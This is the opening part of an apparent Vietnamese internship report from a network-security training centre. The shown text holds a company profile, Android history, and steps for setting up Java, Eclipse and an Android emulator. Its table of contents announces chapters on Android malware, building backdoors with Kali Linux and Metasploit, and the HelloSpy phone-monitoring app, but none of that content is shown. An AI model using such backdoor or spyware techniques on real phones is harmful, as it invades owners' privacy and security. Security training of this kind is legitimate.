1.5 Cài đặt hệ điều hành Android 2.3 và 4.x trên môi trường giả lâp..............................20 1.5.1. Cài đặt Java SE trên máy tính. ...................................................................................20 1.5.2. Cài đặt Eclipse và Android SDK..................................................................................25 1.5.3. Tạo máy AVD (Android Virtual Device). ....................................................................28
  • 8. GVHD: VÕ ĐỖ THẮNG SVTH: NGUYỄN HOÀNG THẠCH 8 1.6 So sánh sự khác nhau giữa hai phiên bản Android 2.3 và 4.x........................................32 1.6.1. Sự khác nhau về yêu cầu phần cứng cần thiết để cài đặt.........................................32 1.6.2. Sự khác nhau về giao diện.........................................................................................33 1.6.3. Sự khác nhau về tính năng. .......................................................................................34 1.6.4. Sự khác nhau về giao thức mạng. .............................................................................35 2. Mã độc trên Android. ...........................................................................................................35 2.1. Định nghĩa:....................................................................................................................35 2.2. Mã độc trong môi trường Android: .............................................................................35 2.2.1. Android là một môi trường lý tưởng cho mã độc phát triển....................................35 2.2.2. Phân loại mã độc Android. ........................................................................................36 2.3. Thực trạng.....................................................................................................................36 2.4. Malware – tiêu biểu của trên Android. .......................................................................38 2.4.1. Cơ chế hoạt động của Malware. ...............................................................................38 2.4.2. Mục đích của Malware DroidDream.........................................................................39 2.5. Cơ chế bảo mật trong Android. ...................................................................................39 2.5.1. Tính bảo mật trong Android......................................................................................39 2.5.2. Cơ chế Permission: ....................................................................................................39 2.5.3. Google Play:...............................................................................................................40 3. Cài đặt một số chương trình có mã độc trên Android.........................................................40 3.1. iCalendar .......................................................................................................................40 3.1.1. Các công cụ cần thiết:................................................................................................40 3.1.2. Các bước thực hiện:...................................................................................................40 3.2. iMatch ...........................................................................................................................46 3.2.1. Các công cụ cần thiết:................................................................................................46 3.2.2. Các bước thực hiện:...................................................................................................46 4. Nghiên cứu Kali Linux, cách tạo mã độc trên Kali Linux để xâm nhập vào máy Android ...48 4.1. Tổng quan .....................................................................................................................49 4.2. Cải tiến của Kali Linux so với Backtrack. ......................................................................49 4.3. Cài đặt Kali Linux...........................................................................................................50 4.3.1. Chuẩn bị.....................................................................................................................50 4.3.2. Cài đặt........................................................................................................................50 4.4. Tạo mã độc trên Kali Linux để xâm nhập Android. .....................................................67 4.4.1. Tạo lập Backdoor .......................................................................................................69 4.4.2. XSSF............................................................................................................................76
  • 9. GVHD: VÕ ĐỖ THẮNG SVTH: NGUYỄN HOÀNG THẠCH 9 5. Kết luận....................................................................................................................................83 CHƯƠNG II:LÀM TRÊN VPS...................................................................................................................84 1. Giới thiệu về VPS:..................................................................................................................84 1.1. Định nghĩa .....................................................................................................................84 1.2. Đặc điểm về thông số VPS............................................................................................84 1.3. Giá trị khi sử dụng VPS .................................................................................................84 2. Cài đặt mã độc trên VPS: .....................................................................................................85 2.1. Giới thiệu.......................................................................................................................85 2.2. Các thành phần của Metasploit...................................................................................85 2.2.1. Metasploit hỗ trợ nhiều giao diện với người dùng...................................................85 2.2.2. Enviroment ................................................................................................................85 2.3. Cài đặt Metasploit Community....................................................................................86 Trên hệ điều hành windows................................................................................................86 Trên hệ điều hành Ubuntu..................................................................................................91 3. Từ VPS xâm nhập vào thiết bị Android: ...............................................................................98 CHƯƠNG III: TÌM HIỂU THÊM ..............................................................................................................108 I. HelloSpy..............................................................................................................................108 1. Download và cài đặt HelloTarget...................................................................................108 1.1. Download.................................................................................................................108 1.2. Đăng ký một tài khoản trực tuyến và đăng ký điện thoại của bạn.........................110 2. Online Control Panel ......................................................................................................112 2.1. MyDashboard..........................................................................................................112 2.2. Xem logs...................................................................................................................113 2.3. Thiết lập ...................................................................................................................116 2.4. Xóa data ...................................................................................................................117 2.5. Back up CSV..............................................................................................................117 2.6. Thay đổipassword...................................................................................................118 2.7. Thay đổi account email............................................................................................119 2.8. Uninstall HelloSpy remotely.....................................................................................119 2.9. Removeaccount ......................................................................................................119 PHẦN 3: LINK SLIDESHARE VÀ YOUTUBE QUÁ TRÌNH THỰC HIỆN ĐỀ TÀI.....................................120 PHẦN 4: KẾT QUẢ ĐẠT ĐƯỢC.......................................................................................................121
  • 10. GVHD: VÕ ĐỖ THẮNG SVTH: NGUYỄN HOÀNG THẠCH 10 Phần 1: Giới thiệu doanh nghiệp thực tập Chương I: Giới thiệu doanh nghiệp thực tập – Trung Tâm Đào Tạo Quản Trị Mạng và An Ninh Mạng Quốc Tế ATHENA. Trung Tâm Đào Tạo Quản Trị Mạng và An Ninh Mạng Quốc Tế ATHENA_Tiền thân là Công ty TNHH Tư vấn và Đào tạo quản trị mạng Việt Năng, (tên thương hiệu viết tắt là TRUNG TÂM ĐÀO TẠO ATHENA), được chính thức thành lập theo giấy phép kinh doanh số 4104006757 của Sở Kế Hoạch Đầu Tư Tp Hồ Chí Minh cấp ngày 04 tháng 11 năm 2008. Tên công ty viết bằng tiếng nước ngoài: ATHENA ADVICE TRAINING NETWORK SECURITY COMPANY LIMITED. ATHENA là một tổ chức quy tụ nhiều trí thức trẻ Việt Nam đầy năng động, nhiệt huyết và kinh nghiệm trong lĩnh vực công nghệ thông tin. Với quyết tâm góp phần vào công cuộc thúc đẩy tiến trình tin học hóa của nước nhà. ATHENA đã và đang tập trung chủ yếu vào các họat động sau:  Đào tạo chuyên sâu quản trị mạng, an ninh mạng, thương mại điện tử theo các tiêu chuẩn quốc tế của các hãng nổi tiếng như Microsoft, Cisco, Oracle, Linux LPI , CEH,... Song song đó, trung tâm ATHENA còn có những chương trình đào tạo cao cấp dành riêng theo đơn đặt hàng của các đơn vị như Bộ Quốc Phòng, Bộ Công An , ngân hàng, doanh nghiệp, các cơ quan chính phủ, tổ chức tài chính..Qua đó cung cấp nguồn nhân lực trong lĩnh vực công nghệ thông tin, đặc biệt là chuyên gia về mạng máy tính và bảo mật mạng đạt trình độ quốc tế cho các tổ chức, doanh nghiệp có nhu cầu.  Tư vấn và hổ trợ cho doanh nghiệp ứng dụng hiệu quả tin học vào hoạt động sản xuất kinh doanh.  Tiến hành các hoạt động nghiên cứu nâng cao kiến thức tin học và phát triển cơ sở dữ liệu thông tin về các ứng dụng và sự cố mạng.  Tiến hành các dịch vụ ứng cứu khẩn cấp cho doanh nghiệp trong trường hợp xảy ra sự cố máy tính. Sau gần 10 năm hoạt động,nhiều học viên tốt nghiệp trung tâm ATHENA đã là chuyên gia đảm nhận công tác quản lý hệ thống mạng, an ninh mạng cho nhiều bộ ngành như Cục Công Nghệ Thông Tin - Bộ Quốc Phòng , Bộ Công An, Sở Thông Tin Truyền Thông các tỉnh, bưu điện các tỉnh,…
  • 11. GVHD: VÕ ĐỖ THẮNG SVTH: NGUYỄN HOÀNG THẠCH 11 Ngoài ra, Trung tâm ATHENA còn có nhiều chương trình hợp tác và trao đổi công nghệ với nhiều đại học lớn như đại học Bách Khoa Thành Phố Hồ Chí Minh, HọcViệnAn Ninh Nhân Dân( Thủ Đức), Học Viện Bưu Chính Viễn Thông, Hiệp hội an toàn thông tin (VNISA), Viện Kỹ Thuật Quân Sự... 1. Trụ sở và các chi nhánh: 1.1. Trụ sở chính: Trung Tâm Đào Tạo Quản Trị Mạng và An Ninh Mạng Quốc Tế ATHENA. Số 2 Bis Đinh Tiên Hoàng, Phường Đa Kao, Tp Hồ Chí Minh, Việt Nam. Điện thoại: ( 84-8 ) 3824 4041 Hotline: 0943 23 00 99. 1.2. Cơ sở 2 tại TP Hồ Chí Minh: Trung Tâm Đào Tạo Quản Trị Mạng và An Ninh Mạng Quốc Tế ATHENA 92 Nguyễn Đình Chiểu ,Phường Đa Kao,Quận 1, Tp Hồ Chí Minh, Việt Nam. Website: www.athena.edu.vn Điện thoại: ( 84-8 ) 2210 3801 Hotline: 0943 20 00 88. 2. Quá trình hình thành và phát triển của trung tâm:  Một nhóm các thành viên là những doanh nhân tài năng và thành công trong lĩnh vực công nghệ thông tin đã nhận ra tiềm năng phát triển của việc đào tạo nền công nghệ thông tin nước nhà. Họ là những cá nhân có trình độ chuyên môn cao và có đầu óc lãnh đạo cùng với tầm nhìn xa về tương lai của ngành công nghệ thông tin , họ đã quy tụ được một lực lượng lớn đội ngũ công nghệ thông tin trước hết là làm nhiệm vụ ứng cứu máy tính cho các doanh nghiệp, cá nhân có nhu cầu. Bước phát triển tiếp theo là vươn tầm đào đạo đội ngũ cán bộ công nghệ thông tin cho đất nước và xã hội.  Các thành viên sáng lập trung tâm gồm:  Ông Nguyễn Thế Đông: Cựu giám đốc trung tâm ứng cứu máy tính Athena, hiện tại là giám đốc dự án của công ty Siemen Telecom.  Ông Hứa Văn Thế Phúc: Phó Giám đốc Phát triển Thương mại Công ty EIS, Phó Tổng công ty FPT.  Ông Nghiêm Sỹ Thắng: Phó Tổng giám đốc Ngân hàng Liên Việt, chịu trách nhiệm công nghệ thông tin của Ngân hàng.  Ông Võ Đỗ Thắng: Hiện đang là giám đốc Trung tâm đào tạo quản trị và an ninh mạng Athena.
  • 12. GVHD: VÕ ĐỖ THẮNG SVTH: NGUYỄN HOÀNG THẠCH 12 Đến năm 2003, bốn thành viên sáng lập cùng với với đội ngũ ứng cứu máy tính gần 100 thành viên hoạt động như là một nhóm, một tổ chức ứng cứu máy tính miền Nam. Từ năm 2004- 2006: Trung tâm có nhiều bước phát triển và chuyển mình. Trung tâm trở thành một trong những địa chỉ tin cậy của nhiều doanh nghiệp nhằm cài đặt hệ thống an ninh mạng và đào tạo cho đội ngũ nhân viên của các doanh nghiệp về các chương trình quản lý dự án MS Project 2003, kỹ năng thương mại điện tử, bảo mật web… và là địa chỉ tin cậy của nhiều học sinh_sinh viên đến đăng kí học. Đòi hỏi cấp thiết trong thời gian này của Trung tâm là nâng cao hơn nữa đội ngũ giảng viên cũng như cơ sở để đáp ứng nhu cầu ngày càng cao về công nghệ thông tin của đất nước nói chung, các doanh nghiệp, cá nhân nói riêng.Năm 2004, công ty mở rộng hoạt động cung cấp giải pháp, dịch vụ cho khu vực miền Trung thông qua việc thành lập văn phòng đại diện tại Đà Nẵng. Đến năm 2006: Trung tâm đào tạo quản trị và an ninh mạng Athena mở ra thêm một chi nhánh tại Cư xá Nguyễn Văn Trỗi. Đồng thời tiếp tục tuyển dụng đội ngũ giảng viên là những chuyên gia an ninh mạng tốt nghiệp các trường đại học và học viện công nghệ thông tin uy tín trên toàn quốc, đồng thời trong thời gian này Athena có nhiều chính sách ưu đãi nhằm thu hút đội ngũ nhân lực công nghệ thông tin lành nghề từ các doanh nghiệp, tổ chức, làm giàu thêm đội ngũ giảng viên của trung tâm. Đến năm 2008: Hàng loạt các trung tâm đào tạo quản trị và an ninh mạng mọc lên, cùng với khủng hoảng kinh tế tài chính toàn cầu đã làm cho Trung tâm rơi vào nhiều khó khăn. Ông Nguyễn Thế Đông cùng Ông Hứa Văn Thế Phúc rút vốn khỏi công ty gây nên sự hoang man cho toàn bộ hệ thống trung tâm. Cộng thêm chi nhánh tại Cư xã Nguyễn Văn Trỗi hoạt động không còn hiệu quả phải đóng cửa làm cho trung tâm rơi từ khó khăn này đến khó khăn khác. Lúc này, với quyết tâm khôi phục lại công ty cũng như tiếp tục sứ mạng góp phần vào tiến trình tin học hóa của đất nước. Ông Võ Đỗ Thắng mua lại cổ phần của hai nhà đầu tư lên làm giám đốc và xây dựng lại trung tâm. Đây là một bước chuyển mình có ý nghĩa chiến lược của trung tâm. Mở ra một làn gió mới và một giai đoạn mới, cùng với quyết tâm mạnh mẽ và một tinh thần thép đãgiúp ông Thắng vượt qua nhiều khó khăn ban đầu, giúp trung tâm đứng vững trong thời kì khủng hoảng. Từ năm 2009 – nay: Cùng với sự lãnh đạo tài tình và đầu óc chiến lược. Trung tâm đào tạo quản trị và an ninh mạng dần được phục hồi và trở lại quỹ đạo hoạt động của mình. Đến nay, Trung tâm đã trở thành một trong những trung tâm đào tạo quản trị mạng hàng đầu Việt Nam. Cùng
  • 13. GVHD: VÕ ĐỖ THẮNG SVTH: NGUYỄN HOÀNG THẠCH 13 với sự liên kết của rất nhiều công ty, tổ chức doanh nghiệp, trung tâm trở thành nơi đào tạo và cung cấp nguồn nhân lực công nghệ thông tin cho xã hội. Từng bước thực hiện mục tiêu góp phần vào tiến trình tin học hóa nước nhà. 3. Cơ cấu tổ chức: Hình 1. Sơ đồ tổ chức công ty. 4. Các sản phẩm, giải pháp: 4.1. Các khóa học dài hạn: -Chương trình đào tạo chuyên gia an ninh mạng. ( AN2S) Athena network security specialist. -Chương trình Quản trị viên an ninh mạng (ANST) Athena netuwork security Technician. -Chuyên viên quản trị mạng nâng cao (ANMA) Athena network manager Administrator. 4.2. Các khóa học ngắn hạn: Khóa Quản trị mạng : -Quản trị mạng Microsoft căn bản ACBN
  • 14. GVHD: VÕ ĐỖ THẮNG SVTH: NGUYỄN HOÀNG THẠCH 14 -Phần cứng máy tính, laptop, server -Quản trị hệ thống mạng Microsoft MCSA Security. -Quản trị mạng Microsoft nâng cao MCSE -Quản trị window Vista -Quản trị hệ thống Window Server 2008, 2012 -Lớp Master Exchange Mail Server -Quản trị mạng quốc tế Cissco CCNA -Quản trị hệ thống mạng Linux 1 và Linux 2. Khóa thiết kế web và bảo mật mạng - Xây dựng, quản trị web thương mại điện tử với Joomla và VirtuMart - Lập trình web với Php và MySQL - Bảo mật mạng quốc tế ACNS - Hacker mũ trắng - Athena Mastering Firewall Security - Bảo mật website. 4.3. Các sản phẩm khác -Chuyên đề thực hành sao lưu và phục hồi dữ liệu -Chuyên đề thực hành bảo mật mạng Wi_Fi -Chuyên đề Ghost qua mạng -Chuyên đề xây dựng và quản trị diễn đàn -Chuyên đề bảo mật dữ liệu phòng chống nội gián -Chuyên đề quản lý tài sản công nghệ thông tin -Chuyên đề kỹ năng thương mại điện tử. 4.4. Cơ sở hạ tầng -Thiết bị đầy đủ và hiện đại.
  • 15. GVHD: VÕ ĐỖ THẮNG SVTH: NGUYỄN HOÀNG THẠCH 15 -Chương trình cập nhật liên tục, bảo đảm học viên luôn tiếp cận với những công nghệ mới nhất. -Phòng máy rộng rãi, thoáng mát. 4.5. Các dịch vụ hỗ trợ: -Đảm bảo việc làm cho học viên tốt nghiệp khoá dài hạn -Giới thiệu việc làm cho mọi học viên -Thực tập có lương cho học viên khá giỏi -Ngoài giờ học chính thức, học viên được thực hành thêm miễn phí, không giới hạn thời gian -Hỗ trợ kỹ thuật không thời hạn trong tất cả các lĩnh vực liên quan đến máy tính, mạng máy tính, bảo mật mạng Hỗ trợ thi Chứng chỉ Quốc tế. 5. Khách hàng -Mọi đối tượng chuyên hoặc không chuyên về CNTT. -Khách hàng chủ yếu của ATHENA là các bạn học sinh, sinh viên và các cán bộ công nhân viên chức yêu thích lĩnh vực công nghệ thông tin. 6. Đối tác Trung tâm đào tạo an ninh mạng ATHENA là đối tác đào tạo & cung cấp nhân sự CNTT, quản trị mạng , an ninh mạng chất lượng cao theo đơn đặt hàng cho các đơn vị như ngân hàng, doanh nghiệp, các cơ quan chính phủ, tổ chức tài chính... Chương II.Các nhiệm vụ và dịch vụ của bộ phận thực tập Bộ phận thực tập : Bộ phận triển khai kỹ thuật. Nhiệm vụ và dịch vụ:  Triển khai lắp đặt hệ thống mạng.  Bảo trì hệ thống mạng.  Tư vấn hỗ trợ quản trị hệ thống mạng.
  • 16. GVHD: VÕ ĐỖ THẮNG SVTH: NGUYỄN HOÀNG THẠCH 16 Phần 2: Nội dung thực tập Chương I: Làm trên local host 1. Tổng quan về Android 1.1Khái niệm. Android là một hệ điều hành mã nguồn mở xây dựng trên nền tảng Linux, chủ yếu sử dụng trên các thiết bị thông minh như điện thoại di động, máy tính bảng (và hiện nay là cả các đầu phát HD, smart TV …). Trước đây, Android được phát triển bởi công ty liên hợp Android sau đó được Google mua lại vào năm 2005. Theo ComScore, đến đầu tháng 3 năm 2014, Android chiếm 51.7% thị phần hệ điều hành trên smartphone tại Mỹ (iOS chiếm 41.6%), là hệ điều hành số một trên điện thoại thông minh. Hình 1:Logo Android Android ra mắt vào năm 2007 cùng với sự tuyên bố thành lập Liên minh thiết bị cầm tay mở gồm 78 công ty phần cứng, phần mềm và viễn thông với mục tiêu đẩy mạnh các tiêu chuẩn mở cho các thiết bị di động. Hệ điều hành Android bao gồm 12 triệu dòng mã: 3 triệu dòng XML, 2.8 triều dòng mã C, 1.75 triệu dòng mã C++ và 2.1 triệu dòng mã Java. Thể hiện tính mở của Android, Google công bố hầu hết các mã nguôn của Android theo bản cấp phép Apache. 1.2Đặc điểm.  Tính mở: Ngay từ ban đầu, Android ra mắt là một hệ điều hành mã nguôn mở, được xây dựng trên nhân Linux mở sử dụng một máy ảo mà đã được tối ưu hóa bộ nhớ và phần cứng với
  • 17. GVHD: VÕ ĐỖ THẮNG SVTH: NGUYỄN HOÀNG THẠCH 17 môi trường di động; nó có thể được mở rộng để kết hợp tự do giữa các công nghệ nổi trội. Tính mở hoàn toàn của Android cho phép người phát triển tạo các ứng dụng hấp dẫn với đầy đủ các điểm mạnh của các thiết bị cầm tay hiện có. Hơn nữa, một ứng dụng trong Android có thể gọi tới bất kỳ một chức năng lõi nào như tạo cuộc gọi, gửi tinh nhắn hay sử dụng máy ảnh… cho phép người phát triển tạo phần mềm phong phú hơn, dễ dàng liên kết các tính năng cho người dùng. Những nền tảng ưu điểm này sẽ tiếp tục phát triển bởi cộng đồng phát triển để tạo ra các ứng di động hoàn hảo.  Tính ngang bằng của ứng dụng: Với Android, không có sự khác nhau giữa các ứng dụng điện thoại cơ bản với ứng dụng của bên thứ ba. Chúng được xây dựng để truy cập như nhau tới một loạt các ứng dụng và dịch vụ của điện thoại. Với các thiết bị được xây dựng trên nền tảng Android, người dùng có thể đáp ứng đầy đủ các nhu cầu mà họ thích. Chúng ta có thể đổi màn hình nền, kiểu gọi điện thoại, hay bất kể ứng dụng nào. Chúng ta thậm chí có thể hướng dẫn điện thoại chỉ xem những ảnh mình thích.  Phá vỡ rào cản phát triển ứng dụng: Android phá vỡ rào cản để tạo ứng dụng mới và cải tiến. Một người phát triển có thể kết hợp thông tin từ trang web với dữ liệu trên điện thoại cá nhân – chẳng hạn như danh bạ, lịch hay vị trí trên bản đồ – để cung cấp chính xác hơn cho người khác. Với Android, người phát triển có thể xây dựng một ứng dụng mà cho phép người dùng xem vị trí của những người bạn và thông báo khi họ đang ở vị trí lân cận. Tất cả được lập trình dễ dàng thông qua sự hỗ trợ của MapView và dịch vụ định vị toàn cầu GPS.  Xây dựng ứng dụng dễ dàng và nhanh chóng: Android cung cấp bộ thư viện giao diện lập trình ứng dụng đồ sộ và các công cụ để viết các ứng dụng phức tạp. Ví dụ, Android có thể cho phép người phát triển biết được vị trí của thiết bị và cho phép các thiết bị giao tiếp với nhau để có thể tạo nên mạng xã hội chia sẻ ngang hàng rộng khắp. Thêm nữa, Android còn bao gồm một bộ công cụ đầy đủ giúp cho việc phát triển trở nên dễ dàng. 1.3Lịch sử phát triển Tổng công ty Android (Android, Inc.) được thành lập tại Palo Alto, California vào tháng 10 năm 2003 bởi Andy Rubin (đồng sáng lập công ty Danger), Rich Miner (đồng sáng lập Tổng công ty Viễn thông Wildfire) Nick Sears (từng là Phó giám đốc T-Mobile),và Chris White (trưởng thiết kế và giao diện tại WebTV) để phát triển, theo lời của Rubin, "các thiết bị di động thông minh hơn có thể biết được vị trí và sở thích của người dùng".DÙ những người thành lập và nhân viên đều là những người có tiếng tăm, Tổng công ty Android hoạt động một cách âm thầm, chỉ tiết lộ rằng họ đang làm phần mềm dành cho điện thoại di động. Trong năm đó, Rubin hết kinh
  • 18. GVHD: VÕ ĐỖ THẮNG SVTH: NGUYỄN HOÀNG THẠCH 18 phí. Steve Perlman, một người bạn thân của Rubin, mang cho ông 10.000 USD tiền mặt nhưng từ chối tham gia vào công ty. Google mua lại Tổng công ty Android vào ngày 17 tháng 8 năm 2005, biến nó thành một bộ phận trực thuộc Google. Những nhân viên của chủ chốt của Tổng công ty Android, gồm Rubin, Miner và White, vẫn tiếp tục ở lại công ty làm việc sau thương vụ này. Vào thời điểm đó không có nhiều thông tin về Tổng công ty, nhưng nhiều người đồn đoán rằng Google dự tính tham gia thị trường điện thoại di động sau bước đi này. Tại Google, nhóm do Rubin đứng đầu đã phát triển một nền tảng thiết bị di động phát triển trên nền nhân Linux. Google quảng bá nền tảng này cho các nhà sản xuất điện thoại và các nhà mạng với lời hứa sẽ cung cấp một hệ thống uyển chuyển và có khả năng nâng cấp. Google đã liên hệ với hàng loạt hãng phần cứng cũng như đối tác phần mềm, bắn tin cho các nhà mạng rằng họ sẵn sàng hợp tác với các cấp độ khác nhau. Ngày 5 tháng 11 năm 2007, Liên minh thiết bị cầm tay mở (Open Handset Alliance), một hiệp hội bao gồm nhiều công ty trong đó có Texas Instruments, Tập đoàn Broadcom, Google, HTC, Intel,LG, Tập đoàn Marvell Technology, Motorola, Nvidia, Qualcomm, Samsung Electronics, Sprint Nextel và T- Mobile được thành lập với mục đích phát triển các tiêu chuẩn mở cho thiết bị di động. Cùng ngày, Android cũng được ra mắt với vai trò là sản phẩm đầu tiên của Liên minh, một nền tảng thiết bị di động được xây dựng trên nhân Linux phiên bản 2.6. Chiếc điện thoại chạy Android đầu tiên được bán ra là HTC Dream, phát hành ngày 22 tháng 10 năm 2008. Biểu trưng của hệ điều hành Android mới là một con rôbốt màu xanh lá cây do hãng thiết kế Irina Blok tại California vẽ. Từ năm 2008, Android đã trải qua nhiều lần cập nhật để dần dần cải tiến hệ điều hành, bổ sung các tính năng mới và sửa các lỗi trong những lần phát hành trước. Mỗi bản nâng cấp được đặt tên lần lượt theo thứ tự bảng chữ cái, theo tên của một món ăn tráng miệng, ví dụ như phiên bản 1.5 Cupcake (bánh bông lan nhỏ có kem) tiếp nối bằng phiên bản Donut (bánh vòng). Phiên bản mới nhất là 4.2 Jelly Bean (kẹo dẻo).
  • 19. GVHD: VÕ ĐỖ THẮNG SVTH: NGUYỄN HOÀNG THẠCH 19 Hình 2: Các phiên bản Android Vào năm 2010, Google ra mắt loạt thiết bị Nexus, một dòng sản phẩm bao gồm điện thoại thông minh và máy tính bảng chạy hệ điều hành Android, do các đối tác phần cứng sản xuất. HTC đã hợp tác với Google trong chiếc điện thoại thông minh Nexus đầu tiên, Nexus One. Kể từ đó nhiều thiết bị mới hơn đã gia nhập vào dòng sản phẩm này, như điện thoại Nexus 4 và máy tính bảng Nexus 10, lần lượt do LG và Samsung sản xuất. Google xem điện thoại và máy tính bảng Nexus là những thiết bị Android chủ lực của mình, với những tính năng phần cứng và phần mềm mới nhất của Android. 1.4Sự ra mắt các phiên bản Android  Android alpha: là phiên bản nội bộ trong Google và OHA được nghiên cứu và phát triển trước khi Android beta ra mắt, với các phiên bản khác nhau là "Astro Boy", "Bender" và "R2- D2".  Android beta: được phát hành vào ngày 5 tháng 7 năm 2007. Tiếp theo đó bộ phát triển phần mềm (SDK) ra mắt ngày 12 tháng 11 năm 2007.  Android 1.0 (API mức độ 1): Kỉ nguyên Android chính thức khởi động vào ngày 22 tháng 10 năm 2008, khi mà chiếc điện thoại T-Mobile G1 chính thức được bán ra ở Mỹ. Đến ngày 23 tháng 9 năm 2008, Google chính thức bán ra phiên bản thương mại của phần mềm.
  • 20. GVHD: VÕ ĐỖ THẮNG SVTH: NGUYỄN HOÀNG THẠCH 20  Android 1.1 (API mức độ 2): phát hành ngày 9 tháng 2 năm 2009. Đây là bản cập nhật đầu tiên giúp giải quyết lỗi, thay đổi Android API và thêm vào một số tính năng.  Android 1.5 (API mức độ 3, phát hành ngày 27 tháng 4 năm 2009) và Android 1.6 (API mức độ 4, phát hành ngày 15 tháng 9 năm 2009): Bản cập nhật bao gồm một số tính năng mới và sử đổi giao diện người dùng UI.  Android 2.x (2.0-2.1 API mức độ 7, 2.2 API mức độ 8, 2.3-2.3.2 API mức độ 9, 2.3.3- 2.3.7 API mức độ 10): phát hành từ tháng 10 năm 2009 đến tháng 2 năm 2011 với nhiều tính năng mới được thêm vào, thay đổi giao diện người dùng cũng như nâng cao khả năng bảo mật.  Android 3.x (3.1 API mức độ 12, 3.2 API mức độ 13) phát hành từ tháng 5 đến tháng 7 năm 2011 với tên gọi Honeycomb là phiên bản dành riêng cho máy tính bảng. Mặc dù không để lại nhiều dấu ấn đắc biệt trên thị trường nhưng phiên bản này là nền tảng cho Android 4.0.  Android 4.x (từ API mức độ 15 đến API mức độ 19) phát hành từ tháng 12 năm 2011 và tiếp tục đến nay. Được xem là sự thay đổi lớn trong lịch sử phát triển của Android với nhiều cải tiến về mặt công nghệ cung như tính năng. Đặc biệt phiên bản này là sự hợp nhất cho hệ điều hành smartphone và máy tính bảng.  Android 5 (API mức độ 20): phát hành tháng 7 năm 2014 là phiên bản cho nhà phát triển. Theo dữ liệu cập nhật mới nhất mà Google cung cấp về thị phần các phiên bản Android tại link: http://developer.android.com/about/dashboards/index.html.Đến ngày 7/7/2014 thị phần của các phiên bản Android 2.3.x và 4.x.x chiếm tỉ lệ lớn nhất thể hiện sự quan trọng và thông dụng nhất của các phiên bản Android này.Trong đó, Android 2.3.x chiếm 13.5% còn Android 4.x.x chiếm 85.8 % 1.5Cài đặt hệ điều hành Android 2.3 và 4.x trên môi trường giả lâp. 1.5.1. Cài đặt Java SE trên máy tính. Để cài đặt Android trên môi trường giả lập trước tiên cần cài đặt môi trường Java For Developers để chạy được Eclipse và Android SDK. Ở đây mình sử dụng hệ điều hành Windows 8 64-bit (các phiên bản Windows khác đều tương tự). Đầu tiên bạn cần dowload bộ cài đặt Java SE tại link sau http://www.oracle.com/technetwork/java/javase/downloads/index.html
  • 21. GVHD: VÕ ĐỖ THẮNG SVTH: NGUYỄN HOÀNG THẠCH 21 Hình 3. Download Java SE Chọn Jaca Platform (JDK) 8u5 để chuyển sang trang tiếp theo. Hình 4. Chọn phiên bản Java. Chọn phiên bản thích hợp với hệ điều hành để tải về. Ở đây mình chọn bản cho Windows 64-bit. Chạy bộ cài đặt vừa được tải về ta được như hình sau:
  • 22. GVHD: VÕ ĐỖ THẮNG SVTH: NGUYỄN HOÀNG THẠCH 22
  • 23. GVHD: VÕ ĐỖ THẮNG SVTH: NGUYỄN HOÀNG THẠCH 23 B1. Chạy file cài đặt java JDK -> Click Next. Hình 5:Cài đặt Java B2. Chọn thư mục cài đặt -> Click Next. Hình 6:Cài đặt Java
  • 24. GVHD: VÕ ĐỖ THẮNG SVTH: NGUYỄN HOÀNG THẠCH 24 B3. Quá trình cài đặt thành công java JDk sẽ được thông báo như hình dưới -> Click Close. Hình 6:Cài đặt Java hoàn tất Sau khi cài xong, các bạn kiểm tra lại bộ JDK đã được cài đặt thành công bằng cách vào cmd gõ lệnh “java”. Nếu màn hình hiện ra như sau thì bạn đã cài đặt thành công:
  • 25. GVHD: VÕ ĐỖ THẮNG SVTH: NGUYỄN HOÀNG THẠCH 25 Hình 7. Kiểm tra Java đã được cài đặt. 1.5.2. Cài đặt Eclipse và Android SDK Trước tiên download bộ ADT Bundle for Windows gồm Eclipse và Android SDK được tích hợp sẵn tại địa chỉ: http://developer.android.com/sdk/index.html
  • 26. GVHD: VÕ ĐỖ THẮNG SVTH: NGUYỄN HOÀNG THẠCH 26 Hình 8. Download Android SDK. Chọn dowload để sang trang tiếp theo Hình 9. Chọn phiên bản Android SDK. Chọn phiên bản thích hợp va tiến hành dowload (như hình). Sau khi tải xong tiến hành giải nén ta được các file như hình: Hình 10. Giải nén file Android SDK tải về. Để cài đặt Android SDK các bạn có 2 cách:
  • 27. GVHD: VÕ ĐỖ THẮNG SVTH: NGUYỄN HOÀNG THẠCH 27 - Cách 1: Các bạn click chuột vào biểu tượng SDK Manager ở ngoài và tiến hành cài đặt. - Cách 2: Các bạn khởi chạy Eclipse lên. Rồi vào mục Android SDK Manager Hình 12. Khởi động Android SDK Manager. Sẽ xuất hiện 1 cửa sổ mới như sau : Hình 13. Chọn và cài đặt các gói API cần thiết. Download các gói hỗ trợ như:Android SDK Buil-tools, Android SDK Platform-tools, các phiên bản Android và các gói hỗ trợ khác… bằng cách tích chọn các phần API cần cài rồi click vào nút Install packages ở góc dưới bên phải
  • 28. GVHD: VÕ ĐỖ THẮNG SVTH: NGUYỄN HOÀNG THẠCH 28 Hình 14.cài đặt các gói API cần thiết. Công việc tiếp theo là các bạn chỉ cần chờ cho nó download và cài đặt là xong. 1.5.3. Tạo máy AVD (Android Virtual Device). Sau khi khởi chạy xong Eclipse. Bạn vào : Windows -> Android Virtual Device Manager. Hoặc các bạn cũng có thể click ngay vào biểu tượng AVD trên menu của Eclipse : Hình 15. Khởi động Android Virtual Device Manager. Click vào New để tạo mới :
  • 29. GVHD: VÕ ĐỖ THẮNG SVTH: NGUYỄN HOÀNG THẠCH 29 Hình 16. Tạo mới máy ảo Android. Cửa sổ mới mở ra, các bạn điền đầy đủ các thông số vào theo yêu cầu : Hình 17. Thông số cho máy ao Android.
  • 30. GVHD: VÕ ĐỖ THẮNG SVTH: NGUYỄN HOÀNG THẠCH 30 AVD Name: Các bạn chỉ được sử dụng cách ký tự : A -> Z, a -> z, và “., -, _” mà thôi. Target: Bạn chọn phiên bản Android để test. SD Card: Là dung lượng bộ nhớ ảo của thẻ SD. Và một số thông tin khác… Các bạn click OK để hoàn thành tạo mới một AVD. Bây giờ bạn vào phần Android Virtual Device Manager như ban đầu thì bạn sẽ thấy tên máy ảo mới mình vừa tạo rồi. Nhấn Start để khởi chạy máy ảo (bạn có thể sẽ phải chờ một khoảng thời gian để máy ảo khởi chạy):
  • 31. GVHD: VÕ ĐỖ THẮNG SVTH: NGUYỄN HOÀNG THẠCH 31 Hình 18. Khởi động máy ảo Android. Và đây là giao diện cuối cùng :
